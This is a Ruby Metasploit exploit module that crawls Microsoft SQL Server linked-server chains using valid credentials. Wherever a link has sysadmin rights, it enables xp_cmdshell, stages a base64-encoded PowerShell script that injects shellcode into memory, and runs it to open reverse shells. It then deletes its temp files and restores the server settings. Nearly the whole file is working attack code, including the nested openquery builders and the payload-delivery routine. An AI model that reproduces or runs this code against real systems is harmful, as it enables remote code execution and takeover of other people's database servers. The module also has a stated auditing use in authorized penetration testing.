mssql_linkcrawler-updates.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/mssql_commands'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::MSSQL
	include Msf::Auxiliary::Report
	include Msf::Exploit::CmdStagerVBS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SQL Server Database Link Crawling Command Execution',
			'Description'    => %q{
					This module can be used to crawl MS SQL Server database links and deploy
				Metasploit payloads through links configured with sysadmin privileges using a
				valid SQL Server Login.

					If you are attempting to obtain multiple reverse shells using this module we
				recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
				up a multi/handler to run in the background as a job with the "ExitOnSession" advanced
				set to "false" to support multiple incoming shells.

					If you are interested in deploying payloads to spefic servers this module also
				supports that functionality via the "DEPLOYLIST" option.

					Currently, the module is capable of delivering payloads to both 32bit and 64bit
				Windows systems via powershell memory injection methods based on Matthew Graeber's
				work. As a result, the target server must have powershell installed. By default,
				all of the crawl information is saved to a CSV formatted log file and MSF loot so
				that the tool can also be used for auditing without deploying payloads.
			},
			'Author'         =>
				[
					'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
					'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
				],
			'Platform'      => [ 'win' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
					['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
					['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
				],
			'Platform'       => 'win',
			'DisclosureDate' => 'Jan 1 2000',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptBool.new('DEPLOY',       [false, 'Deploy payload via the sysadmin links', 'false']),
				OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
				OptString.new('PASSWORD',   [true, 'The password for the specified username'])
			], self.class)		
	end

	def exploit
		# Display start time
		time1 = Time.new
		print_status("-------------------------------------------------")
		print_status("Start time : #{time1.inspect}")
		print_status("-------------------------------------------------")

		# Check if credentials are correct
		print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")

		if (not mssql_login_datastore)
			print_error("Invalid SQL Server credentials")
			print_status("-------------------------------------------------")
			return
		end

		# Define master array to keep track of enumerated database information
		master_list = []
		master_list[0] = {}					# Define new hash
		master_list[0]["name"] = ""			# Name of the current database server
		master_list[0]["db_link"] = ""		# Name of the linked database server
		master_list[0]["db_user"] = ""	 	# User configured on the database server link
		master_list[0]["db_sysadmin"] = ""	# Specifies if  the database user configured for the link has sysadmin privileges
		master_list[0]["db_version"] = ""	# Database version of the linked database server
		master_list[0]["db_os"] = ""			# OS of the linked database server
		master_list[0]["path"] = [[]]		# Link path used during crawl - all possible link paths stored
		master_list[0]["done"] = "false"		# Used to determine if linked need to be crawled

		shelled = Array.new					# keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system

		# Setup query for gathering information from database servers
		version_query = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
		(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
		(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
		CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
		-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
		master..sysservers where dataaccess=1 and srvname!=@@servername and providername like 'SQLOLEDB')as linkcount"

		# Create loot table to store configuration information from crawled database server links
		linked_server_table = Rex::Ui::Text::Table.new(
			'Header'  => 'Linked Server Table',
			'Ident'   => 1,
			'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user',
			'link_privilege', 'link_version', 'link_os','link_state','link_crawl_path']
		)
		save_loot = "false"

		# Start crawling through linked database servers
		while master_list.any? {|f| f["done"] == "false"}
		
			# Find the first DB server that has not been crawled (not marked as done)
			server = master_list.detect {|f| f["done"] == "false"}

			# Get configuration information from the database server
			sql = query_builder(server["path"].first,"",0,version_query)
			result = mssql_query(sql, false) if mssql_login_datastore
			parse_results = result[:rows]
			parse_results.each { |s|
				if (server["name"] == "" or server["name"] == nil)
					server["name"] = s[0]
				end
				server["db_user"] = s[1]
				server["db_sysadmin"] = s[5]
				server["db_version"] =  s[3]
				server["db_os"] = s[4]
				server["numlinks"] = s[6]
			}
			if master_list.length == 1
				print_good("Successfully connected to #{server["name"]}")
				if datastore['VERBOSE'] == true
					show_configs(server["name"],parse_results,true)
				elsif server["db_sysadmin"] == 1
					print_good("Sysadmin on #{server["name"]}")
				end
			end
			
			# Deploy shell 
			if !shelled.include?(name) #and server["name"] == master_list[0]["name"]
				if server["db_sysadmin"] == 1  and datastore['deploy'] and (!(server["db_version"].match(/SQL\s*Server\s*2000/i)))
					enable_xp_cmdshell(server["path"].first,server["name"],shelled)
				end
			end

			# If links were found, determine if they can be connected to and add to crawl list
			if (server["numlinks"] > 0)
			
				# Enable loot
				save_loot = "TRUE"

				# Select a list of the linked database servers that exist on the current database server
				print_status("")
				print_status("-------------------------------------------------")
				print_status("Crawling links on #{server["name"]}...")
				
				# Display number db server links
				print_status("Links found: #{server["numlinks"]}")
				print_status("-------------------------------------------------")
				execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and providername like 'SQLOLEDB'"
				sql = query_builder(server["path"].first,"",0,execute)
				result = mssql_query(sql, false) if mssql_login_datastore

				result[:rows].each {|name|
					name.each {|name|

						# Check if link works and if sysadmin permissions - temp array to save orig server[path]
						temppath = Array.new
						temppath = server["path"].first.dup
						temppath << name

						# Get configuration information from the linked server
						sql = query_builder(temppath,"",0,version_query)
						result = mssql_query(sql, false) if mssql_login_datastore

						# Add newly acquired db servers to the master_list, but don't add them if the link is broken or already exists
						if result[:errors].empty? and result[:rows] != nil then
						
							# Assign db query results to variables for hash
							parse_results = result[:rows]

							# Add link server information to loot
							link_status = 'up'
							report_link_path = "#{master_list.first["name"]} -> #{temppath.join(" -> ")}"
							write_to_report(name,server,parse_results,linked_server_table,link_status,report_link_path)

							# Display link server information in verbose mode
							if datastore['VERBOSE'] == true
								show_configs(name,parse_results)
								print_status("  o Link path: #{master_list.first["name"]} -> #{temppath.join(" -> ")}")
							else
								if parse_results[0][5] == 1
									print_good("Link path: #{master_list.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
								else
									print_status("Link path: #{master_list.first["name"]} -> #{temppath.join(" -> ")}")
								end
							end

							# Add link to master_list hash
							if !master_list.any? {|f| f["name"].downcase == name.downcase} #previously unless
							
								# Action for new server
								master_list << add_host(name,server["path"].first,parse_results)								
							else							
								# Add Existing 
								(0..master_list.length-1).each do |x|
									if master_list[x]["name"].downcase == name.downcase
									
										# Add addtional link crawl paths for known server
										master_list[x]["path"] << server["path"].first.dup 
										master_list[x]["path"].last << name
										
										# Deploy shell to box if not shelled
										if !shelled.include?(name) #previously unless
											if parse_results[0][2]==1 and datastore['deploy'] and (!(master_list[x]["db_version"].match(/SQL\s*Server\s*2000/i)))
												enable_xp_cmdshell(master_list[x]["path"].last.dup,name,shelled)
											end
										end
									#else
									#	break
									end
								end
							end
						else
							# Add to report
							link_status = 'Connection Failed'
							report_link_path = "#{master_list.first["name"]} -> #{temppath.join(" -> ")}"
							write_to_report(name,server,parse_results,linked_server_table,link_status,report_link_path)

							# Display status to user
							if datastore['VERBOSE'] == true
								print_status(" ")
								print_error("Linked Server: #{name} ")
								print_error("  o Link Path: #{master_list.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
								print_status("    Failure could be due to:")
								print_status("    - A dead server")
								print_status("    - Bad credentials")
								print_status("    - Nested open queries through SQL 2000")
							else
								print_error("Link Path: #{master_list.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
							end
						end
					}
				}
			end
			
			# Set server to "crawled"
			server["done"]="TRUE"
		end

		print_status(" ")
		print_status("-------------------------------------------------")

		# Setup table for loot
		this_service = nil
		if framework.db and framework.db.active
			this_service = report_service(
				:host  => rhost,
				:port => rport,
				:name => 'mssql',
				:proto => 'tcp'
			)
		end

		# Display end time
		time1 = Time.new
		print_status("End time : #{time1.inspect}")
		print_status("-------------------------------------------------")

		link_has_sysadmin = 0
		link_has_only_user = 0
		master_list.each {|blah|
				if blah["db_sysadmin"] == 1 then
					#print_status("Sysadmin on #{blah["name"]}")
					link_has_sysadmin = link_has_sysadmin+1
				end

				if blah["db_sysadmin"] == 0 then
					#print_status("User on #{blah["name"]}")
					link_has_only_user = link_has_only_user+1
				end
		}
		print_status(" ")
		print_status("-------------------------------------------------")
		print_status("Crawl Summary")
		print_status("-------------------------------------------------")
		print_status("#{master_list.length} SQL Servers found")
		print_status("#{link_has_sysadmin} with Sysadmin privs")
		print_status("#{link_has_only_user} with user privs")
		print_status("-------------------------------------------------")

		# Write log to loot / file
		if (save_loot=="TRUE")
			filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
			path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
			print_status("Results have been saved to: #{path}")
		end
	end

	# ---------------------------------------------------------------------
	# Method that builds nested openquery statements using during crawling
	# ---------------------------------------------------------------------
	def query_builder(path,sql,ticks,execute)

		# Temp used to maintain the original master_list[x]["path"]
		temp = Array.new
		path.each {|i| temp << i}

		# Actual query - defined when the function originally called - ticks multiplied
		if path.length == 0
			return execute.gsub("'","'"*2**ticks)

		# openquery generator
		else
			sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
			return sql
		end
	end

	# ---------------------------------------------------------------------
	# Method that builds nested openquery statements using during crawling
	# ---------------------------------------------------------------------
	def query_builder_rpc(path,sql,ticks,execute)

		# Temp used to maintain the original master_list[x]["path"]
		temp = Array.new
		path.each {|i| temp << i}

		# Actual query - defined when the function originally called - ticks multiplied
		if path.length == 0
			return execute.gsub("'","'"*2**ticks)

		# Openquery generator
		else
			exec_at = temp.shift
			sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"
			return sql
		end
	end

	# ---------------------------------------------------------------------
	# Method for adding new linked database servers to the crawl list
	# ---------------------------------------------------------------------
	def add_host(name,path,parse_results)

		# Used to add new servers to master_list
		server = Hash.new
		server["name"] = name
		temppath = Array.new
		path.each {|i| temppath << i }
		server["path"] = [temppath]
		server["path"].first << name
		server["done"] = "false"
		parse_results.each {|stuff|
			server["db_user"] = stuff.at(1)
			server["db_sysadmin"] = stuff.at(2)
			server["db_version"] =  stuff.at(3)
			server["db_os"] = stuff.at(4)
			server["numlinks"] = stuff.at(6)
		}
		return server
	end

	# ---------------------------------------------------------------------
	# Method to display configuration information
	# ---------------------------------------------------------------------
	def show_configs(i,parse_results,entry=false)

		print_status(" ")
		parse_results.each {|stuff|

			# Translate syadmin code
			status = stuff.at(5)
			if status == 1 then
				dbpriv = "sysadmin"
			else
				dbpriv = "user"
			end

			# Display database link information
			if entry == false
				print_status("Linked Server: #{i}")
				print_status("  o Link user: #{stuff.at(1)}")
				print_status("  o Link privs: #{dbpriv}")
				print_status("  o Link version: #{stuff.at(3)}")
				print_status("  o Link OS: #{stuff.at(4).strip}")
				print_status("  o Links on server: #{stuff.at(6)}")
			else
				print_status("Server: #{i}")
				print_status("  o Server user: #{stuff.at(1)}")
				print_status("  o Server privs: #{dbpriv}")
				print_status("  o Server version: #{stuff.at(3)}")
				print_status("  o Server OS: #{stuff.at(4).strip}")
				print_status("  o Server on server: #{stuff.at(6)}")
			end
		}
	end

	# ---------------------------------------------------------------------
	# Method for generating the report and loot
	# ---------------------------------------------------------------------
	def write_to_report(i,server,parse_results,linked_server_table,link_status,report_link_path)
		parse_results.each {|stuff|
			# Parse server information
			db_link_user = stuff.at(1)
			db_link_sysadmin = stuff.at(2)
			db_link_version =  stuff.at(3)
			db_link_os = stuff.at(4)

			#Fix connection failed data
			if link_status == "Connection Failed" then
				db_link_user = "NA"
				db_link_sysadmin = "NA"
				db_link_version =  "NA"
				db_link_os = "NA"
				report_priv = "NA"
			end

			# Set privilege level language for user
			if db_link_sysadmin == 0 then
				report_priv = "USER"
			end

			# Set privilege level language for sysadmin
			if db_link_sysadmin == 1 then
				report_priv = "SYSADMIN!"
			end

			# Add link server to the reporting array and set link_status to 'up'
			linked_server_table << [server["name"],server["db_version"],server["db_os"],
			i,db_link_user,report_priv,db_link_version,db_link_os,link_status,report_link_path]

			return linked_server_table
		}
	end

	# ---------------------------------------------------------------------
	# Method for enabling xp_cmdshell
	# ---------------------------------------------------------------------
	def enable_xp_cmdshell(path,name,shelled)
		# Enables "show advanced options" and xp_cmdshell if needed and possible
		# They cannot be enabled in user transactions (i.e. via openquery)
		# Only enabled if RPC_Out is enabled for linked server
		# All changes are reverted after payload delivery and execution

		# Check if "show advanced options" is enabled
		execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'show advanced options'"
		sql = query_builder(path,"",0,execute)
		result = mssql_query(sql, false) if mssql_login_datastore
		sao_orig = result[:rows].pop.pop

		# Check if "xp_cmdshell" is enabled
		execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
		sql = query_builder(path,"",0,execute)
		result = mssql_query(sql, false) if mssql_login_datastore
		xp_cmd_orig = result[:rows].pop.pop

		# Try blindly to enable "xp_cmdshell" on the linked server
		# Note:
		# This only works if rpcout is enabled for all links in the link path.
		# If that is not the case it fails cleanly.
		if xp_cmd_orig == 0
			if sao_orig == 0
				# Enabling show advanced options and xp_cmdshell
				execute = "sp_configure 'show advanced options',1;reconfigure"
				sql = query_builder_rpc(path,"",0,execute)
				result = mssql_query(sql, false) if mssql_login_datastore
			end

			# Enabling xp_cmdshell
			print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
			execute = "sp_configure 'xp_cmdshell',1;reconfigure"
			sql = query_builder_rpc(path,"",0,execute)
			result = mssql_query(sql, false) if mssql_login_datastore
		end

		# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
		execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
		sql = query_builder(path,"",0,execute)
		result = mssql_query(sql, false) if mssql_login_datastore
		xp_cmd_shell_now = result[:rows].pop.pop

		if xp_cmd_shell_now == 1 or xp_cmd_orig == 1
			print_status("\t - Enabled xp_cmdshell on " + name) if xp_cmd_orig == 0
			if datastore['DEPLOY']
				print_status("Ready to deploy a payload to #{name}")
				if datastore['DEPLOYLIST']==""
					datastore['DEPLOYLIST'] = nil
				end
				if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
					print_status("\t - Checking if #{name} is on the deploy list...")
				end
				if datastore['DEPLOYLIST'] != nil
					deploylist = datastore['DEPLOYLIST'].upcase.split(',')
				end
				if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
					if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
						print_status("\t - #{name} is on the deploy list.")
					end
					unless shelled.include?(name)
						powershell_upload_exec(path)
						shelled << name
					else
						print_status("Payload already deployed on #{name}")
					end
				elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
					print_status("\t - #{name} is not on the deploy list")
				end
			end
		else
			print_error("\t - Unable to enable xp_cmdshell on " + name)
		end

		# Revert soa and xp_cmdshell to original state
		if xp_cmd_orig == 0 and xp_cmd_shell_now == 1
			print_status("\t - Disabling xp_cmdshell on " + name)
			execute = "sp_configure 'xp_cmdshell',0;reconfigure"
			sql = query_builder_rpc(path,"",0,execute)
			result = mssql_query(sql, false) if mssql_login_datastore
		end
		if sao_orig == 0 and xp_cmd_shell_now == 1
			execute = "sp_configure 'show advanced options',0;reconfigure"
			sql = query_builder_rpc(path,"",0,execute)
			result = mssql_query(sql, false) if mssql_login_datastore
		end
	end

	# ----------------------------------------------------------------------
	# Method that delivers shellcode payload via powershell thread injection
	# ----------------------------------------------------------------------
	def powershell_upload_exec(path)

		# Create powershell script that will inject shell code from the selected payload
		myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"

		# Unicode encode powershell script
		mytext_uni = Rex::Text.to_unicode(myscript)

		# Base64 encode unicode
		mytext_64 = Rex::Text.encode_base64(mytext_uni)

		# Generate random file names
		rand_filename = rand_text_alpha(8)
		var_duplicates = rand_text_alpha(8)

		# Write base64 encoded powershell payload to temp file
		# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
		# Also, line number tracking was added so that duplication lines caused by nested linked
		# queries could be found and removed.
		print_status("Deploying payload...")
		linenum = 0
		mytext_64.scan(/.{1,2500}/).each {|part|
			execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
			sql = query_builder(path,"",0,execute)
			result = mssql_query(sql, false) if mssql_login_datastore
			linenum = linenum+1
		}

		# Remove duplicate lines from temp file and write to new file
		execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
		sql = query_builder(path,"",0,execute)
		result = mssql_query(sql, false) if mssql_login_datastore

		# Remove tracking tags from lines
		execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
		sql = query_builder(path,"",0,execute)
		result = mssql_query(sql, false) if mssql_login_datastore

		# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
		# If running on 64bit system, 32bit powershell called from syswow64
		powershell_cmd =  "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
		powershell_uni = Rex::Text.to_unicode(powershell_cmd)
		powershell_64 = Rex::Text.encode_base64(powershell_uni)

		# Setup query
		execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
		sql = query_builder(path,"",0,execute)

		# Execute the payload
		print_status("Executing payload...")
		result = mssql_query(sql, false) if mssql_login_datastore
		
		# Remove payload data from the target server
		execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
		sql = query_builder(path,"",0,execute)
		result = mssql_query(sql,false)
	end
end